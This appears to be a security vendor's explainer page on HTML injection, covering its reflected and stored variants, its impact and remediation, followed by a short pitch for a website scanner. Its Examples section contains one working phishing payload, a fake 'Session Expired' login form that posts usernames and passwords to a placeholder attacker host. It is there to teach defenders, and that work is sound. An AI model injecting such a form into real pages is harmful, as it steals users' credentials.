HTML Injection
HTML Injection allows attackers to inject arbitrary HTML elements into a web page. While less severe than XSS, it can be used for phishing, content spoofing, and social engineering attacks by modifying the visible page content.
Overview
HTML Injection is a type of injection vulnerability where an attacker can insert arbitrary HTML code into a web page. This differs from XSS in that the injected content may not include executable scripts, but can still be used to modify page appearance, create fake forms, redirect users, or conduct social engineering attacks.
Types & Variants
Reflected HTML Injection
Injected HTML is reflected in the server response from URL parameters or form inputs.
Stored HTML Injection
Injected HTML is permanently stored and displayed to all users viewing the affected content.
Impact
Phishing attacks, content spoofing, credential theft through fake login forms, reputation damage.
Examples
Fake Login Form
<h1>Session Expired</h1><form action="https://evil.com/steal"><input name="user" placeholder="Username"><input name="pass" type="password"><button>Login</button></form>
Remediation
Encode all user output in HTML context, implement Content Security Policy, validate and sanitize all user inputs.
HTML-encode all user-supplied data before rendering
Use frameworks with automatic output encoding
Implement Content Security Policy (CSP)
Validate inputs against strict allowlists
Related SuperClue scanner checks
These scanner checks look for signs of HTML Injection. What a scan can confirm from outside depends on your application.
Scan a domain you have verified with up to 350 modules, paid in credits.
See how website scanning works